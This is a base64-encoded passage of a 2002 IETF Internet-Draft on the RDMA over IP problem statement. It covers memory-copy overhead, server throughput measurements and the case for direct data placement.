aW1wbGUgdmVjdG9yIGtlcm5lbHMNCiAgICAgbWVhc3VyZWQgaW4gTUZMT1BTLiAgVGhlIHdl YnNpdGUgdHJhY2tzIGluZm9ybWF0aW9uIG9uIHN1c3RhaW5hYmxlDQogICAgIG1lbW9yeSBi YW5kd2lkdGggZm9yIGh1bmRyZWRzIG9mIG1hY2hpbmVzIGFuZCBhbGwgbWFqb3IgdmVuZG9y cy4NCg0KICAgICBSZXN1bHRzIHNob3cgbWVhc3VyZWQgc3lzdGVtIHBlcmZvcm1hbmNlIHN0 YXRpc3RpY3MuIFByb2Nlc3NpbmcNCiAgICAgcGVyZm9ybWFuY2UgZnJvbSAxOTg1LTIwMDEg aW5jcmVhc2VkIGF0IDUwJSBwZXIgeWVhciBvbiBhdmVyYWdlLA0KICAgICBhbmQgc3VzdGFp bmFibGUgbWVtb3J5IGJhbmR3aWR0aCBmcm9tIDE5NzUgdG8gMjAwMSBpbmNyZWFzZWQgYXQg MzUlDQogICAgIHBlciB5ZWFyIG9uIGF2ZXJhZ2Ugb3ZlciBhbGwgdGhlIHN5c3RlbXMgbWVh c3VyZWQuIEEgc2ltaWxhciAxNSUNCiAgICAgcGVyIHllYXIgbGVhZCBvZiBwcm9jZXNzaW5n IGJhbmR3aWR0aCBvdmVyIG1lbW9yeSBiYW5kd2lkdGggc2hvd3MNCiAgICAgdXAgaW4gYW5v dGhlciBzdGF0aXN0aWMsIG1hY2hpbmUgYmFsYW5jZSBbTWM5NV0sIGEgbWVhc3VyZSBvZiB0 aGUNCiAgICAgcmVsYXRpdmUgcmF0ZSBvZiBDUFUgdG8gbWVtb3J5IGJhbmR3aWR0aCAoRkxP UFMvY3ljbGUpIC8gKHN1c3RhaW5lZA0KICAgICBtZW1vcnkgb3BzL2N5Y2xlKSBbU1RSRUFN XS4NCg0KICAgICBOZXR3b3JrIGJhbmR3aWR0aCBoYXMgYmVlbiBpbmNyZWFzaW5nIGFib3V0 IDEwLWZvbGQgcm91Z2hseSBldmVyeSA4DQogICAgIHllYXJzLCB3aGljaCBpcyBhIDQwJSBw ZXIgeWVhciBncm93dGggcmF0ZS4NCg0KICAgICBBIHR5cGljYWwgZXhhbXBsZSBpbGx1c3Ry YXRlcyB0aGF0IHRoZSBtZW1vcnkgYmFuZHdpZHRoIGNvbXBhcmVzDQogICAgIHVuZmF2b3Jh Ymx5IHdpdGggbGluayBzcGVlZC4gIFRoZSBTVFJFQU0gYmVuY2htYXJrIHNob3dzIHRoYXQg YQ0KICAgICBtb2Rlcm4gdW5pcHJvY2Vzc29yIFBDLCBmb3IgZXhhbXBsZSB0aGUgMS4yIEdI eiBBdGhsb24gaW4gMjAwMSwNCg0KDQoNClJvbWFub3csIGV0IGFsICAgICAgICAgICBFeHBp cmVzIFNlcHRlbWJlciAyMDAyICAgICAgICAgICAgICAgICBbUGFnZSA2XQ0KDA0KSW50ZXJu ZXQtRHJhZnQgICAgICAgUkRNQSBvdmVyIElQIFByb2JsZW0gU3RhdGVtZW50ICAgICAgICAg IDIxIEZlYiAyMDAyDQoNCg0KICAgICB3aWxsIG1vdmUgdGhlIGRhdGEgMyB0aW1lcyBpbiBk b2luZyBhIHJlY2VpdmUgb3BlcmF0aW9uIC0tIDEgZm9yDQogICAgIHRoZSBOSUMgdG8gZGVw b3NpdCB0aGUgZGF0YSBpbiBtZW1vcnksIGFuZCAyIGZvciB0aGUgQ1BVIHRvIGNvcHkNCiAg ICAgdGhlIGRhdGEuIFdpdGggMSBHQnl0ZXMvcyBvZiBtZW1vcnkgYmFuZHdpZHRoLCBtZWFu aW5nIG9uZSByZWFkIG9yDQogICAgIG9uZSB3cml0ZSwgdGhlIG1hY2hpbmUgY291bGQgaGFu ZGxlIGFwcHJveGltYXRlbHkgMi42NyBHYml0cy9zIG9mDQogICAgIG5ldHdvcmsgYmFuZHdp ZHRoLCBvbmUgdGhpcmQgdGhlIGNvcHkgYmFuZHdpZHRoLiBCdXQgdGhpcyBhc3N1bWVzDQog ICAgIDEwMCUgdXRpbGl6YXRpb24sIHdoaWNoIGlzIG5vdCBwb3NzaWJsZSwgYW5kIG1vcmUg aW1wb3J0YW50bHkgdGhlDQogICAgIG1hY2hpbmUgd291bGQgYmUgdG90YWxseSBjb25zdW1l ZCEgIChBIHJ1bGUgb2YgdGh1bWIgZm9yIGRhdGFiYXNlcw0KICAgICBpcyB0aGF0IDIwJSBv ZiB0aGUgbWFjaGluZSBzaG91bGQgYmUgcmVxdWlyZWQgdG8gc2VydmljZSBJL08sDQogICAg IGxlYXZpbmcgODAlIGZvciB0aGUgZGF0YWJhc2UgYXBwbGljYXRpb24uIEFuZCwgdGhlIGxl c3MgdGhlDQogICAgIGJldHRlci4pDQoNCiAgICAgSW4gMjAwMSwgMSBHYml0cy9zIGxpbmtz IHdlcmUgY29tbW9uLiBBbiBhcHBsaWNhdGlvbiBzZXJ2ZXIgbWF5DQogICAgIHR5cGljYWxs eSBoYXZlIHR3byAxIEdiaXRzL3MgY29ubmVjdGlvbnMgLSBvbmUgY29ubmVjdGlvbiBiYWNr ZW5kDQogICAgIHRvIGEgc3RvcmFnZSBzZXJ2ZXIgYW5kIG9uZSBmcm9udC1lbmQsIHNheSBm b3Igc2VydmluZyBIVFRQDQogICAgIFtGR00rOTldLiBUaHVzIHRoZSBjb21tdW5pY2F0aW9u cyBjb3VsZCB1c2UgMiBHYml0cy9zLiBJbiBvdXINCiAgICAgdHlwaWNhbCBleGFtcGxlLCB0 aGUgbWFjaGluZSBjb3VsZCBoYW5kbGUgMi43IEdiaXRzL3MgYXQNCiAgICAgdGhlb3JldGlj YWwgbWF4aW11bSB3aGlsZSBkb2luZyBub3RoaW5nIGVsc2UuIFRoaXMgbWVhbnMgdGhhdCB0 aGUNCiAgICAgbWFjaGluZSBiYXNpY2FsbHkgY291bGQgbm90IGtlZXAgdXAgd2l0aCB0aGUg Y29tbXVuaWNhdGlvbiBkZW1hbmRzDQogICAgIGluIDIwMDEsIGFuZCB3aXRoIHRoZSByZWxh dGl2ZSBncm93dGggdHJlbmRzIGl0IG1ha2UgdGhlIHNpdHVhdGlvbg0KICAgICB3b3JzZS4N Cg0KNC4gIEhpZ2ggY29weSBvdmVyaGVhZCBpcyBwcm9ibGVtYXRpYyBmb3IgbWFueSBrZXkg SW50ZXJuZXQgYXBwbGljYXRpb25zDQoNCiAgICAgSWYgYSBzaWduaWZpY2FudCBwb3J0aW9u IG9mIHJlc291cmNlcyBvbiBhbiBhcHBsaWNhdGlvbiBtYWNoaW5lIGlzDQogICAgIGNvbnN1 bWVkIGluIG5ldHdvcmsgSS9PIHJhdGhlciB0aGFuIGluIGFwcGxpY2F0aW9uIHByb2Nlc3Np bmcsIGl0DQogICAgIG1ha2VzIGl0IGRpZmZpY3VsdCBmb3IgdGhlIGFwcGxpY2F0aW9uIHRv IHNjYWxlIC0gdG8gaGFuZGxlIG1vcmUNCiAgICAgY2xpZW50cywgdG8gb2ZmZXIgbW9yZSBz ZXJ2aWNlcy4NCg0KICAgICBTZXZlcmFsIHllYXJzIGFnbyB0aGUgbW9zdCBhZmZlY3RlZCBh cHBsaWNhdGlvbnMgd2VyZSBzdHJlYW1pbmcNCiAgICAgbXVsdGltZWRpYSwgcGFyYWxsZWwg ZmlsZSBzeXN0ZW1zLCBzdXBlcmNvbXB1dGluZyBvbiBjbHVzdGVycw0KICAgICBbQlM5Nl0u IEluIGFkZGl0aW9uLCB0b2RheSB0aGUgYXBwbGljYXRpb25zIHRoYXQgc3VmZmVyIGZyb20N CiAgICAgY29weWluZyBvdmVyaGVhZCBhcmUgbW9yZSBjZW50cmFsIGluIEludGVybmV0IGNv bXB1dGluZyAtIHRoZXkNCiAgICAgc3RvcmUsIG1hbmFnZSwgYW5kIGRpc3RyaWJ1dGUgdGhl IGluZm9ybWF0aW9uIG9mIHRoZSBJbnRlcm5ldCBhbmQNCiAgICAgdGhlIGVudGVycHJpc2Uu IFRoZXkgaW5jbHVkZSBkYXRhYmFzZSBhcHBsaWNhdGlvbnMgZG9pbmcNCiAgICAgdHJhbnNh Y3Rpb24gcHJvY2Vzc2luZywgZS1jb21tZXJjZSwgd2ViIHNlcnZpbmcsIGRlY2lzaW9uIHN1 cHBvcnQsDQogICAgIGNvbnRlbnQgZGlzdHJpYnV0aW9uLCB2aWRlbyBkaXN0cmlidXRpb24s IGFuZCBiYWNrdXBzLiBDbHVzdGVycyBhcmUNCiAgICAgdHlwaWNhbGx5IHVzZWQgZm9yIHRo aXMgY2F0ZWdvcnkgb2YgYXBwbGljYXRpb24sIHNpbmNlIHRoZXkgaGF2ZQ0KICAgICBhZHZh bnRhZ2VzIG9mIGF2YWlsYWJpbGl0eSBhbmQgc2NhbGFiaWxpdHkuDQoNCiAgICAgVG9kYXkg dGhlc2UgYXBwbGljYXRpb25zLCB3aGljaCBwcm92aWRlIGFuZCBtYW5hZ2UgSW50ZXJuZXQg YW5kDQogICAgIGNvcnBvcmF0ZSBpbmZvcm1hdGlvbiwgYXJlIHR5cGljYWxseSBydW4gaW4g ZGF0YSBjZW50ZXJzIHRoYXQgYXJlDQogICAgIG9yZ2FuaXplZCBpbnRvIHRocmVlIGxvZ2lj YWwgdGllcnMuIE9uZSB0aWVyIGlzIHR5cGljYWxseSB3ZWINCiAgICAgc2VydmVycyBjb25u ZWN0aW5nIHRvIHRoZSBXQU4uIFRoZSBzZWNvbmQgdGllciBpcyBhcHBsaWNhdGlvbg0KICAg ICBzZXJ2ZXJzIHRoYXQgcnVuIHRoZSBzcGVjaWZpYyBhcHBsaWNhdGlvbnMgdXN1YWxseSBv biBtb3JlIHBvd2VyZnVsDQogICAgIG1hY2hpbmVzLCBhbmQgdGhlIHRoaXJkIHRpZXIgaXMg YmFja2VuZCBkYXRhYmFzZXMuIFBoeXNpY2FsbHksIHRoZQ0KICAgICBmaXJzdCB0d28gdGll cnMgLSB3ZWIgc2VydmVyIGFuZCBhcHBsaWNhdGlvbiBzZXJ2ZXIgLSBhcmUgdXN1YWxseQ0K ICAgICBjb21iaW5lZCBbUGkwMV0uICBGb3IgZXhhbXBsZSBhbiBlLWNvbW1lcmNlIHNlcnZl ciBjb21tdW5pY2F0ZXMNCiAgICAgd2l0aCBhIGRhdGFiYXNlIHNlcnZlciBhbmQgd2l0aCBh IGN1c3RvbWVyIHNpdGUsIG9yIGEgY29udGVudA0KDQoNCg0KUm9tYW5vdywgZXQgYWwgICAg ICAgICAgIEV4cGlyZXMgU2VwdGVtYmVyIDIwMDIgICAgICAgICAgICAgICAgIFtQYWdlIDdd DQoMDQpJbnRlcm5ldC1EcmFmdCAgICAgICBSRE1BIG92ZXIgSVAgUHJvYmxlbSBTdGF0ZW1l bnQgICAgICAgICAgMjEgRmViIDIwMDINCg0KDQogICAgIGRpc3RyaWJ1dGlvbiBzZXJ2ZXIg Y29ubmVjdHMgdG8gYSBzZXJ2ZXIgZmFybSwgb3IgYW4gT0xUUCBzZXJ2ZXINCiAgICAgY29u bmVjdHMgdG8gYSBkYXRhYmFzZSBhbmQgYSBjdXN0b21lciBzaXRlLg0KDQogICAgIFdoZW4g bmV0d29yayBJL08gdXNlcyB0b28gbXVjaCBtZW1vcnkgYmFuZHdpZHRoLCBwZXJmb3JtYW5j ZSBvbg0KICAgICBuZXR3b3JrIHBhdGhzIGJldHdlZW4gdGllcnMgY2FuIHN1ZmZlci4gIChU aGVyZSBtaWdodCBhbHNvIGJlDQogICAgIHBlcmZvcm1hbmNlIGlzc3VlcyBvbiBTQU4gcGF0 aHMgdXNlZCBlaXRoZXIgYnkgdGhlIGRhdGFiYXNlIHRpZXIgb3INCiAgICAgdGhlIGFwcGxp Y2F0aW9uIHRpZXIuKSAgVGhlIGhpZ2ggb3ZlcmhlYWQgZnJvbSBuZXR3b3JrLXJlbGF0ZWQN CiAgICAgbWVtb3J5IGNvcGllcyBkaXZlcnRzIHN5c3RlbSByZXNvdXJjZXMgZnJvbSBvdGhl ciBhcHBsaWNhdGlvbg0KICAgICBwcm9jZXNzaW5nLiAgSXQgYWxzbyBjYW4gY3JlYXRlIGJv dHRsZW5lY2tzIHRoYXQgbGltaXQgdG90YWwgc3lzdGVtDQogICAgIHBlcmZvcm1hbmNlLg0K DQogICAgIFRoZXJlIGFyZSBhIGxhcmdlIGFuZCBncm93aW5nIG51bWJlciBvZiB0aGVzZSBh cHBsaWNhdGlvbiBzZXJ2ZXJzDQogICAgIGRpc3RyaWJ1dGVkIHRocm91Z2hvdXQgdGhlIElu dGVybmV0LiAgSW4gMTk5OSBhcHByb3hpbWF0ZWx5IDMuNA0KICAgICBtaWxsaW9uIHNlcnZl ciB1bml0cyB3ZXJlIHNoaXBwZWQsIGluIDIwMDAsIDMuOSBtaWxsaW9uIHVuaXRzLCBhbmQN CiAgICAgdGhlIGVzdGltYXRlZCBhbm51YWwgZ3Jvd3RoIHJhdGUgZm9yIDIwMDAtMjAwNCB3 YXMgMTcgcGVyY2VudA0KICAgICBbTmUwMCwgUEEwMV0uDQoNCiAgICAgVGhlcmUgaXMgaGln aCBtb3RpdmF0aW9uIHRvIG1heGltaXplIHRoZSBwcm9jZXNzaW5nIGNhcGFjaXR5IG9mDQog ICAgIGVhY2ggQ1BVLCBhcyBzY2FsaW5nIGJ5IGFkZGluZyBDUFVzIG9uZSB3YXkgb3IgYW5v dGhlciBoYXMNCiAgICAgZHJhd2JhY2tzLiBGb3IgZXhhbXBsZSwgYWRkaW5nIENQVXMgdG8g YSBtdWx0aXByb2Nlc3NvciB3aWxsIG5vdA0KICAgICBuZWNlc3NhcmlseSBoZWxwLCBhcyBh IG11bHRpcHJvY2Vzc29yIGltcHJvdmVzIHBlcmZvcm1hbmNlIG9ubHkNCiAgICAgd2hlbiB0 aGUgbWVtb3J5IGJ1cyBoYXMgYWRkaXRpb25hbCBiYW5kd2lkdGggdG8gc3BhcmUuIENsdXN0 ZXJpbmcNCiAgICAgY2FuIGFkZCBhZGRpdGlvbmFsIGNvbXBsZXhpdHkgdG8gaGFuZGxpbmcg dGhlIGFwcGxpY2F0aW9ucy4NCg0KICAgICBJbiBvcmRlciB0byBzY2FsZSBhIGNsdXN0ZXIg b3IgbXVsdGlwcm9jZXNzb3Igc3lzdGVtLCBvbmUgbXVzdA0KICAgICBwcm9wb3J0aW9uYXRl bHkgc2NhbGUgdGhlIGludGVyY29ubmVjdCBiYW5kd2lkdGguICBJbnRlcmNvbm5lY3QNCiAg ICAgYmFuZHdpZHRoIGdvdmVybnMgdGhlIHBlcmZvcm1hbmNlIG9mIGNvbW11bmljYXRpb24t aW50ZW5zaXZlDQogICAgIHBhcmFsbGVsIGFwcGxpY2F0aW9uczsgaWYgdGhpcyAob2Z0ZW4g ZXhwcmVzc2VkIGluIHRlcm1zIG9mDQogICAgICJiaXNlY3Rpb24gYmFuZHdpZHRoIikgaXMg dG9vIGxvdywgYWRkaW5nIGFkZGl0aW9uYWwgcHJvY2Vzc29ycw0KICAgICBjYW5ub3QgaW1w cm92ZSBzeXN0ZW0gdGhyb3VnaHB1dC4gIEludGVyY29ubmVjdCBsYXRlbmN5IGNhbiBhbHNv DQogICAgIGxpbWl0IHRoZSBwZXJmb3JtYW5jZSBvZiBhcHBsaWNhdGlvbnMgdGhhdCBmcmVx dWVudGx5IHNoYXJlIGRhdGENCiAgICAgYmV0d2VlbiBwcm9jZXNzb3JzLg0KDQogICAgIFNv LCBleGNlc3NpdmUgb3ZlcmhlYWRzIG9uIG5ldHdvcmsgcGF0aHMgaW4gYSAic2NhbGFibGUi IHN5c3RlbQ0KICAgICBib3RoIGNhbiByZXF1aXJlIHRoZSB1c2Ugb2YgbW9yZSBwcm9jZXNz b3JzIHRoYW4gb3B0aW1hbCwgYW5kIGNhbg0KICAgICByZWR1Y2UgdGhlIG1hcmdpbmFsIHV0 aWxpdHkgb2YgdGhvc2UgYWRkaXRpb25hbCBwcm9jZXNzb3JzLg0KDQogICAgIENvcHkgYXZv aWRhbmNlIHNjYWxlcyBhIG1hY2hpbmUgdXB3YXJkcyBieSByZW1vdmluZyBhdCBsZWFzdCB0 d28tDQogICAgIHRoaXJkcyB0aGUgYnVzIGJhbmR3aWR0aCBsb2FkIGZyb20gdGhlICJ2ZXJ5 IGJlc3QiIDEtY29weSAob24NCiAgICAgcmVjZWl2ZSkgaW1wbGVtZW50YXRpb25zLCBhbmQg cmVtb3ZlcyBhdCBsZWFzdCA4MCUgb2YgdGhlIGJhbmR3aWR0aA0KICAgICBvdmVyaGVhZCBm cm9tIHRoZSAyLWNvcHkgaW1wbGVtZW50YXRpb25zLg0KDQogICAgIEFuIGV4YW1wbGUgc2hv d2luZyBwb29yIHBlcmZvcm1hbmNlIHdpdGggY29waWVzIGFuZCBpbXByb3ZlZA0KICAgICBz Y2FsaW5nIHdpdGggY29weSBhdm9pZGFuY2UgaXMgaWxsdXN0cmF0aXZlLiAgVGhlIElPLUxp dGUgd29yaw0KICAgICBbUERaOTldIHNob3dzIGhpZ2hlciBzZXJ2ZXIgdGhyb3VnaHB1dCBz ZXJ2aWNpbmcgbW9yZSBjbGllbnRzIHVzaW5nDQogICAgIGEgemVyby1jb3B5IHN5c3RlbS4g SW4gYW4gZXhwZXJpbWVudCBkZXNpZ25lZCB0byBtaW1pYyByZWFsIHdvcmxkDQogICAgIHdl YiBjb25kaXRpb25zIGJ5IHNpbXVsYXRpbmcgdGhlIGVmZmVjdCBvZiBUQ1AgV0FOIGNvbm5l Y3Rpb25zIG9uDQogICAgIHRoZSBzZXJ2ZXIsIHRoZSBwZXJmb3JtYW5jZSBvZiAzIHNlcnZl cnMgd2FzIGNvbXBhcmVkLiBPbmUgc2VydmVyDQoNCg0KDQpSb21hbm93LCBldCBhbCAgICAg ICAgICAgRXhwaXJlcyBTZXB0ZW1iZXIgMjAwMiAgICAgICAgICAgICAgICAgW1BhZ2UgOF0N CgwNCkludGVybmV0LURyYWZ0ICAgICAgIFJETUEgb3ZlciBJUCBQcm9ibGVtIFN0YXRlbWVu dCAgICAgICAgICAyMSBGZWIgMjAwMg0KDQoNCiAgICAgd2FzIEFwYWNoZSwgYW5vdGhlciBh biBvcHRpbWl6ZWQgc2VydmVyIGNhbGxlZCBGbGFzaCwgYW5kIHRoZSB0aGlyZA0KICAgICB0 aGUgRmxhc2ggc2VydmVyIHJ1bm5pbmcgSU8tTGl0ZSwgY2FsbGVkIEZsYXNoLUxpdGUgd2l0 aCB6ZXJvIGNvcHkuDQogICAgIFRoZSBtZWFzdXJlbWVudCB3YXMgb2YgdGhyb3VnaHB1dCBp biByZXF1ZXN0cy9zZWNvbmQgYXMgYSBmdW5jdGlvbg0KICAgICBvZiB0aGUgbnVtYmVyIG9m IHNsb3cgYmFja2dyb3VuZCBjbGllbnRzIHRoYXQgY291bGQgYmUgc2VydmVkLiBBcw0KICAg ICB0aGUgdGFibGUgc2hvd3MsIEZsYXNoLUxpdGUgaGFzIGJldHRlciB0aHJvdWdocHV0LCBl c3BlY2lhbGx5IGFzDQogICAgIHRoZSBudW1iZXIgb2YgY2xpZW50cyBpbmNyZWFzZXMuDQoN CiAgICAgICAgICAgICAgICBBcGFjaGUgICAgICAgICAgICAgIEZsYXNoICAgICAgICAgRmxh c2gtTGl0ZQ0KICAgICAgICAgICAgICAgIC0tLS0tLSAgICAgICAgICAgICAgLS0tLS0gICAg ICAgICAtLS0tLS0tLS0tDQogICAgICNDbGllbnRzICAgVGhydXB1dCByZXFzL3MgICAgICBU aHJ1cHV0ICAgICAgIFRocnVwdXQNCg0KICAgICAwICAgICAgICAgIDUyMCAgICAgICAgICAg ICAgICAgNjEwICAgICAgICAgICA4OTANCiAgICAgMTYgICAgICAgICAzOTAgICAgICAgICAg ICAgICAgIDQ5MCAgICAgICAgICAgODkwDQogICAgIDMyICAgICAgICAgMzYwICAgICAgICAg ICAgICAgICA0OTAgICAgICAgICAgIDg1MA0KICAgICA2NCAgICAgICAgIDM2MCAgICAgICAg ICAgICAgICAgNDkwICAgICAgICAgICA4OTANCiAgICAgMTI4ICAgICAgICAzMTAgICAgICAg ICAgICAgICAgIDQ1MCAgICAgICAgICAgODgwDQogICAgIDI1NiAgICAgICAgMzEwICAgICAg ICAgICAgICAgICA0NDAgICAgICAgICAgIDgyMA0KDQoNCiAgICAgVHJhZGl0aW9uYWwgV2Vi IHNlcnZlcnMgKHdoaWNoIG1vc3RseSBzZW5kIGRhdGEgYW5kIGNhbiBrZWVwIG1vc3QNCiAg ICAgb2YgdGhlaXIgY29udGVudCBpbiB0aGUgZmlsZSBjYWNoZSkgYXJlIG5vdCB0aGUgd29y c3QgY2FzZSBmb3IgY29weQ0KICAgICBvdmVyaGVhZC4gIFdlYiBwcm94aWVzICh3aGljaCBv ZnRlbiByZWNlaXZlIGFzIG11Y2ggZGF0YSBhcyB0aGV5DQogICAgIHNlbmQpIGFuZCBjb21w bGV4IFdlYiBzZXJ2ZXJzIGJhc2VkIG9uIFNBTnMgb3IgbXVsdGktdGllciBzeXN0ZW1zDQog ICAgIHdpbGwgc3VmZmVyIG1vcmUgZnJvbSBjb3B5IG92ZXJoZWFkcyB0aGFuIGluIHRoZSBl eGFtcGxlIGFib3ZlLg0KDQo1LiAgSG93IHJlbW90ZSBkaXJlY3QgbWVtb3J5IGFjY2VzcyAo UkRNQSkgY2FuIHNvbHZlIHRoaXMgcHJvYmxlbQ0KDQogICAgIFJETUEgaXMgYSB0ZWNobm9s b2d5IHRoYXQgYWxsb3dzIHRoZSBuZXR3b3JrIGFkYXB0ZXIsIHVuZGVyIGNvbnRyb2wNCiAg ICAgb2YgdGhlIGFwcGxpY2F0aW9uLCB0byBwbGFjZSBkYXRhIGRpcmVjdGx5IGludG8gYW5k IG91dCBvZg0KICAgICBhcHBsaWNhdGlvbiBidWZmZXJzLiAgVGhpcyBjYXBhYmlsaXR5IGlz IGFsc28gcmVmZXJyZWQgdG8gYXMNCiAgICAgImRpcmVjdCBkYXRhIHBsYWNlbWVudCIuIEl0 IHJlZHVjZXMgdGhlIG5lZWQgZm9yIGRhdGEgbW92ZW1lbnQuDQogICAgIFJETUEgaGFzIGJl ZW4gdXNlZCBleHRlbnNpdmVseSBpbiBtZW1vcnktdG8tbWVtb3J5IG5ldHdvcmtzLCBib3Ro DQogICAgIGluIHJlc2VhcmNoIGFuZCBpbiBpbmR1c3RyeSwgYXMgcmVmZXJlbmNlZCBiZWxv dy4gSXQgaXMgYSBzaW1wbGUNCiAgICAgc29sdXRpb24gdGhhdCBvbmNlIGltcGxlbWVudGVk IGRvZXMgbm90IG5lZWQgdG8gYmUgY29uc3RhbnRseQ0KICAgICByZXZpc2VkIHdpdGggT1Mg YW5kIGFyY2hpdGVjdHVyYWwgY2hhbmdlcy4gQWxzbyBpdCBjYW4gYmUgdXNlZCB3aXRoDQog ICAgIGFueSBPUyBhbmQgbWFjaGluZSBhcmNoaXRlY3R1cmUuDQoNCiAgICAgVGhlcmUgaGFz IGJlZW4gZXh0ZW5zaXZlIGludmVzdGlnYXRpb24gYW5kIGV4cGVyaWVuY2Ugd2l0aCB0d28g bWFpbg0KICAgICBhbHRlcm5hdGl2ZSBhcHByb2FjaGVzIHRvIGVsaW1pbmF0aW5nIGRhdGEg bW92ZW1lbnQgb3ZlcmhlYWQsIG9mdGVuDQogICAgIGFsb25nIHdpdGggaW1wcm92aW5nIG90 aGVyIE9wZXJhdGluZyBTeXN0ZW0gcHJvY2Vzc2luZyBjb3N0cy4gIEluDQogICAgIG9uZSBh cHByb2FjaCwgaGFyZHdhcmUgYW5kL29yIHNvZnR3YXJlIGNoYW5nZXMgd2l0aGluIGEgc2lu Z2xlIGhvc3QNCiAgICAgcmVkdWNlIHByb2Nlc3NpbmcgY29zdHMuIEluIGFub3RoZXIgYXBw cm9hY2gsIG1lbW9yeS10by1tZW1vcnkNCiAgICAgbmV0d29ya2luZyBbTUFGKzAyXSwgaG9z dHMgY29tbXVuaWNhdGUgdmlhIGluZm9ybWF0aW9uIHRoYXQgYWxsb3dzDQogICAgIHRoZW0g dG8gcmVkdWNlIHByb2Nlc3NpbmcgY29zdHMuDQoNCiAgICAgQXMgZGlzY3Vzc2VkIGJlbG93 LCByZXNlYXJjaCBhbmQgaW5kdXN0cnkgZXhwZXJpZW5jZSBoYXMgc2hvd24gdGhhdA0KICAg ICBjb3B5IGF2b2lkYW5jZSB0ZWNobmlxdWVzIHdpdGhpbiB0aGUgcmVjZWl2ZXIgcHJvY2Vz c2luZyBwYXRoIGFsb25lDQogICAgIGhhdmUgcHJvdmVuIHRvIGJlIHByb2JsZW1hdGljLiAg TWFueSBpbXBsZW1lbnRhdGlvbnMgaGF2ZQ0KDQoNCg0KUm9tYW5vdywgZXQgYWwgICAgICAg ICAgIEV4cGlyZXMgU2VwdGVtYmVyIDIwMDIgICAgICAgICAgICAgICAgIFtQYWdlIDldDQoM DQpJbnRlcm5ldC1EcmFmdCAgICAgICBSRE1BIG92ZXIgSVAgUHJvYmxlbSBTdGF0ZW1lbnQg ICAgICAgICAgMjEgRmViIDIwMDINCg0KDQogICAgIHN1Y2Nlc3NmdWxseSBhY2hpZXZlZCB6 ZXJvLWNvcHkgdHJhbnNtaXQsIGJ1dCBmZXcgaGF2ZSBhY2NvbXBsaXNoZWQNCiAgICAgemVy by1jb3B5IHJlY2VpdmUuICBBbmQgdGhvc2UgdGhhdCBoYXZlIGRvbmUgc28gbWFrZSBzdHJp Y3QNCiAgICAgYWxpZ25tZW50IGFuZCBuby10b3VjaCByZXF1aXJlbWVudHMgb24gdGhlIGFw cGxpY2F0aW9uLCBncmVhdGx5DQogICAgIHJlZHVjaW5nIHRoZSBwb3J0YWJpbGl0eSBhbmQg dXNlZnVsbmVzcyBvZiB0aGUgaW1wbGVtZW50YXRpb24uDQoNCiAgICAgSW4gY29udHJhc3Qs IGV4cGVyaWVuY2UgaGFzIGJlZW4gdmVyeSBzYXRpc2ZhY3Rvcnkgd2l0aCBtZW1vcnktdG8t DQogICAgIG1lbW9yeSBzeXN0ZW1zIHRoYXQgZG8gZGlyZWN0IGRhdGEgcGxhY2VtZW50LCBl bGltaW5hdGluZyBjb3BpZXMgYnkNCiAgICAgcGFzc2luZyBpbmZvcm1hdGlvbiBiZXR3ZWVu IHNlbmRlciBhbmQgcmVjZWl2ZXIuIERpcmVjdCBkYXRhDQogICAgIHBsYWNlbWVudCBpcyBh IHNpbmdsZSBzb2x1dGlvbiBmb3IgemVyby1jb3B5IG5ldHdvcmtpbmcgaW4gYm90aCB0aGUN CiAgICAgdHJhbnNtaXQgYW5kIHJlY2VpdmUgcGF0aHMuDQoNCiAgICAgVGhlIHNpbmdsZSBo b3N0IGFwcHJvYWNoZXMgcmFuZ2UgZnJvbSBlbnRpcmVseSBuZXcgaGFyZHdhcmUgYW5kDQog ICAgIHNvZnR3YXJlIGFyY2hpdGVjdHVyZXMgW0tTWjk1LCBXYTk3XSB0byBuZXcgb3IgbW9k aWZpZWQgc29mdHdhcmUNCiAgICAgc3lzdGVtcyBbQlA5NiwgQ2g5NiwgVEs5NSwgRFA5Mywg UERaOTldLg0KDQogICAgIEluIGVhcmx5IHdvcmssIG9uZSBnb2FsIG9mIHRoZSBzb2Z0d2Fy ZSBhcHByb2FjaGVzIHdhcyB0byBzaG93IHRoYXQNCiAgICAgVENQIGNvdWxkIGdvIGZhc3Rl ciB3aXRoIGFwcHJvcHJpYXRlIE9TIHN1cHBvcnQgW0NKUjg5LCBDRkYrOTRdLg0KICAgICBX aGlsZSB0aGlzIGdvYWwgd2FzIGFjaGlldmVkLCBmdXJ0aGVyIGludmVzdGlnYXRpb24gYW5k IGV4cGVyaWVuY2UNCiAgICAgc2hvd2VkIHRoYXQsIHRob3VnaCBwb3NzaWJsZSB0byBjcmFm dCBzb2Z0d2FyZSBzb2x1dGlvbnMsIHNwZWNpZmljDQogICAgIHN5c3RlbSBvcHRpbWl6YXRp b25zIGhhdmUgYmVlbiBjb21wbGV4LCBmcmFnaWxlLCBleHRyZW1lbHkNCiAgICAgaW50ZXJk ZXBlbmRlbnQgd2l0aCBvdGhlciBzeXN0ZW0gcGFyYW1ldGVycyBpbiBjb21wbGV4IHdheXMs IGFuZA0KICAgICBvZnRlbiBvZiBvbmx5IG1hcmdpbmFsIGltcHJvdmVtZW50IFtDRkYrOTQs IENHWTAxLCBDaDk2LCBEQVBQOTMsDQogICAgIEtTWjk1LCBQRFo5OV0uICBUaGUgbmV0d29y ayBJL08gc3lzdGVtIGludGVyYWN0cyB3aXRoIG90aGVyIGFzcGVjdHMNCiAgICAgb2YgdGhl IE9wZXJhdGluZyBTeXN0ZW0gc3VjaCBhcyBtYWNoaW5lIGFyY2hpdGVjdHVyZSBhbmQgZmls ZSBJL08sDQogICAgIGFuZCBkaXNrIEkvTyBbQnI5OSwgQ2g5NiwgRFA5M10uDQoNCiAgICAg Rm9yIGV4YW1wbGUsIHRoZSBTb2xhcmlzIFplcm8tQ29weSBUQ1Agd29yayBbQ2g5Nl0sIHdo aWNoIHJlbGllcyBvbg0KICAgICBwYWdlIHJlbWFwcGluZywgc2hvd3MgdGhhdCB0aGUgcmVz dWx0cyBhcmUgaGlnaGx5IGludGVyZGVwZW5kZW50DQogICAgIHdpdGggb3RoZXIgc3lzdGVt cywgc3VjaCBhcyB0aGUgZmlsZSBzeXN0ZW0sIGFuZCB0aGF0IHRoZQ0KICAgICBwYXJ0aWN1 bGFyIG9wdGltaXphdGlvbnMgYXJlIHNwZWNpZmljIGZvciBwYXJ0aWN1bGFyIGFyY2hpdGVj dHVyZXMsDQogICAgIG1lYW5pbmcgZm9yIGVhY2ggdmFyaWF0aW9uIGluIGFyY2hpdGVjdHVy 